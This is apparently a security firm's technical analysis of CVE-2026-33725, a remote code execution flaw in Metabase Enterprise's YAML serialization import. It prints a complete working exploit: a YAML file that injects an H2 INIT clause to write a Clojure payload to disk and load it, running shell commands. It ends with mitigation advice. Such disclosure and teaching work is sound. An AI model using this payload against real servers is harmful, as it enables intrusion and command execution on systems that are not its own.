[EN] CVE-2026-33725: Technical Analysis and Proof of Concept
On March 24, 2026, a high-criticality vulnerability was identified in Metabase Enterprise leading to remote command execution, discovered by “Hacktron AI and Rahul Maini,” as credited here. The flaw was cataloged under the identifier “CVE-2026-33725“.
The vulnerability allows an authenticated administrator on the platform to inject arbitrary parameters into the JDBC connection URL through a YAML file import route. The flaw received a CVSS v3.1 score of 7.2 (High).
About Metabase
Metabase is a Business Intelligence (BI) platform that allows for the visualization and querying of data from connected databases. Through its graphical interface, users can create dashboards, run queries, and view tables and columns.
The platform also offers an access control system based on privilege levels, allowing administrators to define which users have access to which data sources, contributing to better organizational management.

In its Enterprise version, the platform offers additional features, such as the serialization system, which allows exporting and importing complete configurations of an instance, such as connected databases, dashboards, and collections.
CVE-2026-33725
The starting point of the vulnerability lies in how Metabase Enterprise processes the YAML file sent to the /api/ee/serialization/import route. This feature allows administrators to import configurations from the current instance to others, offering an ideal scenario for server migration cases.
The route expects a compressed YAML in “.tar.gz” format. Within its content, database information is described, such as name, description, engine, and details for creating a new database. Below is a valid example of a YAML:
name: VendasDB
engine: h2
description: Banco de dados de vendas
settings: {}
serdes/meta:
- id: VendasDB
model: Database
details:
db: file:/tmp/vendas
subname: /tmp/vendas
As illustrated above, a new database named “VendasDB” will be created in Metabase using the H2 engine for connection. When sending the compressed YAML file to the route, the following response may be received: “Loading Database VendasDB”.


However, the problem lies in the fact that the subname parameter, passed in the YAML, is not sanitized before being concatenated into the JDBC string. This allows an attacker to inject values and abuse H2 functionalities. But what values are these?
H2 INIT Injection: Turning a Database Config into RCE
According to the vulnerability report, exploitation is possible after database synchronization by injecting the INIT parameter into the JDBC connection string. To get a better sense of what the parameter does, we can consult its documentation.
“Sometimes, particularly for in-memory databases, it is useful to be able to execute DDL or DML commands automatically when a client connects to a database. This functionality is enabled via the INIT property. Note that multiple commands may be passed to INIT, but the semicolon delimiter must be escaped, as in the example below.”
String url = "jdbc:h2:mem:test;INIT=runscript from '~/create.sql'\\;runscript from '~/init.sql'";
H2 executes arbitrary SQL at the moment the connection is established. It is through this behavior that we can write a Clojure payload to disk which, in a second step, is loaded and executed by the Metabase runtime.
“RCE: A two-step attack first writes a Clojure payload then executes it, achieving OS command execution.”
The function used for writing the file was CSVWRITE: a native H2 feature that exports the result of a query to a CSV file. As a demonstration, a file was written to the path /tmp/poc.txt with the content “hakai” on disk.
name: VendasDB
engine: h2
description: Banco de dados de vendas
settings: {}
serdes/meta:
- id: VendasDB
model: Database
details:
db: file:/tmp/vendas
subname: |-
/tmp/vendas;INIT=CALL CSVWRITE('/tmp/poc.txt', 'SELECT ''hakai'' AS result', 'writeColumnHeader=false fieldDelimiter=')
Once the YAML is sent to the import route, a new database named “VendasDB” will be created on the platform. However, for the file writing to be successful, we need to force a connection to the database so that the concatenation we inserted works. To do this, simply click the database sync button available in the administrator panel.

Done this, Metabase is forced to establish the JDBC connection with the database, and it is at this moment that the INIT is executed, writing the file /tmp/poc.txt to disk. The file appeared after synchronization, confirming the concatenation we inserted.

As illustrated above, the query SELECT ''hakai'' AS RESULT was executed and its return saved to the file. The writeColumnHeader and fieldDelimiter parameters in the YAML are used to remove the column header from the output and empty the default delimiter, respectively. Without these two parameters, the result would be this:
de15cb1483ab:/tmp# cat poc.txt "RESULT" "hakai" de15cb1483ab:/tmp#
Having achieved file writing on disk, the next step is to write a payload that allows executing commands on the system. In the documentation for the “Clojure” programming language, one of the languages used in Metabase, the clojure.java.shell namespace enables this operation.
However, there are some peculiarities in the payload that need to be taken into account given the need for escaping quotes. The function will appear in the YAML as:
CSVWRITE('/tmp/.poc_1777787745.clj', 'SELECT ''(require (quote clojure.java.shell))(clojure.java.shell/sh (str \/ \b \i \n \/ \s \h) (str \- \c) (str \w \h \o \a \m \i \space \> \space \/ \t \m \p \/ \w \h \o \a \m \i \. \t \x \t))'' AS c', 'writeColumnHeader=false fieldDelimiter=')
As observed, the payload sent to the “CSVWRITE” function is full of slashes, backslashes, and subfunctions in its body. Breaking it down, the following property can be noted:
- “str” function: concatenates all characters delimited by a backslash () into a single string and wraps it in double quotes. For example, the segment
(str \/ \b \i \n \/ \s \h)will have its characters (marked by the backslash) gathered into a single string and will be wrapped in double quotes, resulting in"/bin/sh".
Following this pattern for the rest of the payload, the final executed Clojure code will be like:
(require (quote clojure.java.shell)) (clojure.java.shell/sh "/bin/sh" "-c" "whoami > /tmp/whoami.txt")
Once the file is written, the next step is to load and execute it at runtime. For this, the loadFile method of the clojure.lang.Compiler class was used, passing as an argument the path of the file generated in the previous step, /tmp/.poc_1777787745.clj. However, to access Java methods directly in SQL, it is necessary to call the H2 CREATE ALIAS function.
“Creates a new function alias. If this is a ResultSet returning function, by default the return value is cached in a local temporary file.”
CREATE ALIAS MY_SQRT FOR 'java.lang.Math.sqrt';
Therefore, the code would be like: CREATE ALIAS IF NOT EXISTS LOADCLJ FOR "clojure.lang.Compiler.loadFile"; CALL LOADCLJ('/tmp/.poc_1777787745.clj')
As a consequence, the file containing the Clojure payload will be loaded and its content executed, enabling remote command execution. After completing these three steps, the malicious YAML will end up like this:
name: BancoVendas
engine: h2
description: Banco de Vendas Comercio
settings: {}
serdes/meta:
- id: BancoVendas
model: Database
details:
db: file:/tmp/vendas
subname: |-
/tmp/vendas;INIT=CALL CSVWRITE('/tmp/.poc_1777787745.clj', 'SELECT ''(require (quote clojure.java.shell))(clojure.java.shell/sh (str \\/ \\b \\i \\n \\/ \\s \\h) (str \\- \\c) (str \\w \\h \\o \\a \\m \\i \\space \\> \\space \\/ \\t \\m \\p \\/ \\w \\h \\o \\a \\m \\i \\. \\t \\x \\t))'' AS c', 'writeColumnHeader=false fieldDelimiter=')\;CREATE ALIAS IF NOT EXISTS LOADCLJ FOR "clojure.lang.Compiler.loadFile"\;CALL LOADCLJ('/tmp/.poc_1777787745.clj')

Once the YAML containing the RCE payload is sent to the import route, we can synchronize the database connection to force the connection and, consequently, execute the code concatenated in the JDBC. After synchronization, we can see that the whoami command was successfully written to /tmp/whoami.txt.

With this, we confirm the remote command execution on the server. Based on this exploitation, the Hakai Pentest team developed and published a PoC on GitHub, demonstrating how an attacker can abuse this vulnerability to obtain a reverse shell on the server.

Flowchart

Mitigation
Metabase has already made a publicly disclosed mitigation available; simply update the application to the latest available version. If an immediate update is not feasible, it is recommended to disable the vulnerable /api/ee/serialization/import route as a workaround, eliminating the exploitation vector until the update is applied.
Let’s Pratice!
Hacking Club is a training platform focused on developing cybersecurity professionals. The DataFlow challenge simulates a server with the vulnerability referenced in this post and can be used to reinforce the knowledge presented.